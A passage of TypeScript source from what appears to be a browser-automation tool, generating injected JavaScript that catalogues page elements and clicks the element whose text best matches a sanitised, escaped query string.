          // Check aria-labelledby
          const labelledBy = el.getAttribute('aria-labelledby');
          if (labelledBy) {
            const labelEl = document.getElementById(labelledBy);
            if (labelEl) return labelEl.textContent.trim();
          }
        }
        
        return '';
      }
      
      function generateSelector(el) {
        // Generate a robust CSS selector
        if (el.id) return '#' + el.id;
        
        let selector = el.tagName.toLowerCase();
        
        if (el.className) {
          const classes = el.className.split(' ').filter(c => c && !c.match(/^(ng-|v-|_)/));
          if (classes.length > 0) {
            selector += '.' + classes.slice(0, 3).join('.');
          }
        }
        
        // Add attribute selectors for better specificity
        if (el.name) selector += \`[name="\${el.name}"]\`;
        if (el.type && el.tagName === 'INPUT') selector += \`[type="\${el.type}"]\`;
        if (el.placeholder) selector += \`[placeholder*="\${el.placeholder.substring(0, 20)}"]\`;
        
        return selector;
      }
      
      function generateXPath(el) {
        if (el.id) return \`//*[@id="\${el.id}"]\`;
        
        let path = '';
        let current = el;
        
        while (current && current.nodeType === Node.ELEMENT_NODE && current !== document.body) {
          let selector = current.tagName.toLowerCase();
          
          if (current.id) {
            path = \`//*[@id="\${current.id}"]\` + path;
            break;
          }
          
          const siblings = Array.from(current.parentNode?.children || []).filter(
            sibling => sibling.tagName === current.tagName
          );
          
          if (siblings.length > 1) {
            const index = siblings.indexOf(current) + 1;
            selector += \`[\${index}]\`;
          }
          
          path = '/' + selector + path;
          current = current.parentElement;
        }
        
        return path || '//body' + path;
      }
      
      // Categorize elements by type
      const analysis = {
        clickable: [],
        inputs: [],
        links: [],
        images: [],
        text: [],
        containers: [],
        metadata: {
          totalElements: 0,
          visibleElements: 0,
          interactiveElements: 0,
          pageTitle: document.title,
          pageUrl: window.location.href,
          viewport: {
            width: window.innerWidth,
            height: window.innerHeight
          }
        }
      };
      
      // Analyze all elements
      const allElements = document.querySelectorAll('*');
      analysis.metadata.totalElements = allElements.length;
      
      for (let el of allElements) {
        const elementAnalysis = analyzeElement(el);
        
        if (!elementAnalysis.isVisible) continue;
        analysis.metadata.visibleElements++;
        
        if (elementAnalysis.isInteractive) {
          analysis.metadata.interactiveElements++;
          
          // Categorize clickable elements
          if (['button', 'a', 'input'].includes(elementAnalysis.tag) || 
              ['button', 'submit'].includes(elementAnalysis.type) ||
              elementAnalysis.ariaRole === 'button') {
            analysis.clickable.push(elementAnalysis);
          }
        }
        
        // Categorize inputs
        if (['input', 'textarea', 'select'].includes(elementAnalysis.tag)) {
          analysis.inputs.push(elementAnalysis);
        }
        
        // Categorize links
        if (elementAnalysis.tag === 'a' && elementAnalysis.href) {
          analysis.links.push(elementAnalysis);
        }
        
        // Categorize images
        if (elementAnalysis.tag === 'img') {
          analysis.images.push(elementAnalysis);
        }
        
        // Categorize text elements with significant content
        if (['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'span', 'div'].includes(elementAnalysis.tag) &&
            elementAnalysis.text.length > 10 && elementAnalysis.text.length < 200) {
          analysis.text.push(elementAnalysis);
        }
        
        // Categorize important containers
        if (['form', 'section', 'article', 'main', 'nav', 'header', 'footer'].includes(elementAnalysis.tag) ||
            elementAnalysis.className.match(/(container|wrapper|card|panel|modal|dialog)/i)) {
          analysis.containers.push(elementAnalysis);
        }
      }
      
      // Limit results to prevent overwhelming output
      const maxResults = 20;
      Object.keys(analysis).forEach(key => {
        if (Array.isArray(analysis[key]) && analysis[key].length > maxResults) {
          analysis[key] = analysis[key].slice(0, maxResults);
        }
      });
      
      return JSON.stringify(analysis, null, 2);
    })()
  `;
}

/**
 * Generate the enhanced click_by_text command with improved element scoring
 */
export function generateClickByTextCommand(text: string): string {
  // Validate and sanitize input text
  const validation = validateTextInput(text);
  if (!validation.isValid) {
    return `(function() { return "Security validation failed: ${validation.warnings.join(
      ', ',
    )}"; })()`;
  }

  // Escape the text to prevent JavaScript injection
  const escapedText = escapeJavaScriptString(validation.sanitized);

  return `
    (function() {
      const targetText = ${escapedText};  // Safe: JSON.stringify escapes quotes and special chars
      
      // Deep DOM analysis function
      function analyzeElement(el) {
        const rect = el.getBoundingClientRect();
        const style = getComputedStyle(el);
        
        return {
          element: el,
          text: (el.textContent || '').trim(),
          ariaLabel: el.getAttribute('aria-label') || '',
          title: el.title || '',
          role: el.getAttribute('role') || el.tagName.toLowerCase(),
          isVisible: rect.width > 0 && rect.height > 0 && style.display !== 'none' && style.visibility !== 'hidden',
          isInteractive: el.tagName.match(/^(BUTTON|A|INPUT)$/) || el.hasAttribute('onclick') || el.getAttribute('role') === 'button' || style.cursor === 'pointer',
          rect: rect,
          zIndex: parseInt(style.zIndex) || 0,
          opacity: parseFloat(style.opacity) || 1
        };
      }
      
      // Score element relevance
      function scoreElement(analysis, target) {
        let score = 0;
        const text = analysis.text.toLowerCase();
        const label = analysis.ariaLabel.toLowerCase();
        const title = analysis.title.toLowerCase();
        const targetLower = target.toLowerCase();
        
        // Exact match gets highest score
        if (text === targetLower || label === targetLower || title === targetLower) score += 100;
        
        // Starts with target
        if (text.startsWith(targetLower) || label.startsWith(targetLower)) score += 50;
        
        // Contains target
        if (text.includes(targetLower) || label.includes(targetLower) || title.includes(targetLower)) score += 25;
        
        // Fuzzy matching for close matches
        const similarity = Math.max(
          calculateSimilarity(text, targetLower),
          calculateSimilarity(label, targetLower),
          calculateSimilarity(title, targetLower)
        );
        score += similarity * 20;
        
        // Bonus for interactive elements
        if (analysis.isInteractive) score += 10;
        
        // Bonus for visibility
        if (analysis.isVisible) score += 15;
        
        // Bonus for larger elements (more likely to be main buttons)
        if (analysis.rect.width > 100 && analysis.rect.height > 30) score += 5;
        
        // Bonus for higher z-index (on top)
        score += Math.min(analysis.zIndex, 5);
        
        return score;
      }
      
      // Simple string similarity function
      function calculateSimilarity(str1, str2) {
        const len1 = str1.length;
        const len2 = str2.length;
        const maxLen = Math.max(len1, len2);
        if (maxLen === 0) return 0;
        
        let matches = 0;
        const minLen = Math.min(len1, len2);
        for (let i = 0; i < minLen; i++) {
          if (str1[i] === str2[i]) matches++;
        }
        return matches / maxLen;
      }
      
      // Find all potentially clickable elements
      const allElements = document.querySelectorAll('*');
      const candidates = [];
      
      for (let el of allElements) {
        const analysis = analyzeElement(el);
        
        if (analysis.isVisible && (analysis.isInteractive || analysis.text || analysis.ariaLabel)) {
          const score = scoreElement(analysis, targetText);
          if (score > 5) { // Only consider elements with some relevance
            candidates.push({ ...analysis, score });
          }
        }
      }
      
      if (candidates.length === 0) {
        return \`No clickable elements found containing text: "\${targetText}"\`;
      }
      
      // Sort by score and get the best match
      candidates.sort((a, b) => b.score - a.score);
      const best = candidates[0];
      
      // Additional validation before clicking
      if (best.score < 15) {
        return \`Found potential matches but confidence too low (score: \${best.score}). Best match was: "\${best.text || best.ariaLabel}" - try being more specific.\`;
      }
      
      // Enhanced clicking for React components with duplicate prevention
      function clickElement(element) {
        // Enhanced duplicate prevention
        const elementId = element.id || element.className || element.textContent?.slice(0, 20) || 'element';
        const clickKey = 'mcp_click_text_' + btoa(elementId).slice(0, 10);
        
        // Check if this element was recently clicked
        if (window[clickKey] && Date.now() - window[clickKey] < 2000) {
          throw new Error('Element click prevented - too soon after previous click');
        }
        
        // Mark this element as clicked
        window[clickKey] = Date.now();
        
        // Prevent multiple rapid events
        const originalPointerEvents = element.style.pointerEvents;
        element.style.pointerEvents = 'none';
        
        // Scroll element into view if needed
        element.scrollIntoView({ behavior: 'smooth', block: 'center' });
        
        // Focus the element if focusable
        try {
          if (element.focus && typeof element.focus === 'function') {
            element.focus();
          }
        } catch (e) {
          // Focus may fail on some elements, that's ok
        }
        
        // Create and dispatch comprehensive click events for React
        const events = [
          new MouseEvent('mousedown', { bubbles: true, cancelable: true, view: window }),
          new MouseEvent('mouseup', { bubbles: true, cancelable: true, view: window }),
          new MouseEvent('click', { bubbles: true, cancelable: true, view: window })
        ];
        
        // Dispatch all events - don't treat preventDefault as failure
        events.forEach(event => {
          element.dispatchEvent(event);
        });
        
        // Trigger additional React events if it's a form element
        if (element.tagName === 'INPUT' || element.tagName === 'TEXTAREA') {
          element.dispatchEvent(new Event('input', { bubbles: true }));
          element.dispatchEvent(new Event('change', { bubbles: true }));
        }
        
        // Re-enable after delay
        setTimeout(() => {
          element.style.pointerEvents = originalPointerEvents;
        }, 1000);
        
        return true;
      }
      
      try {
        const clickResult = clickElement(best.element);
        return \`Successfully clicked element (score: \${best.score}): "\${best.text || best.ariaLabel || best.title}" - searched for: "\${targetText}"\`;
      } catch (error) {
        return \`Failed to click element: \${error.message}. Element found (score: \${best.score}): "\${best.text || best.ariaLabel || best.title}"\`;
      }
    })()
  `;
}

```
Page 1/2FirstPrevNextLast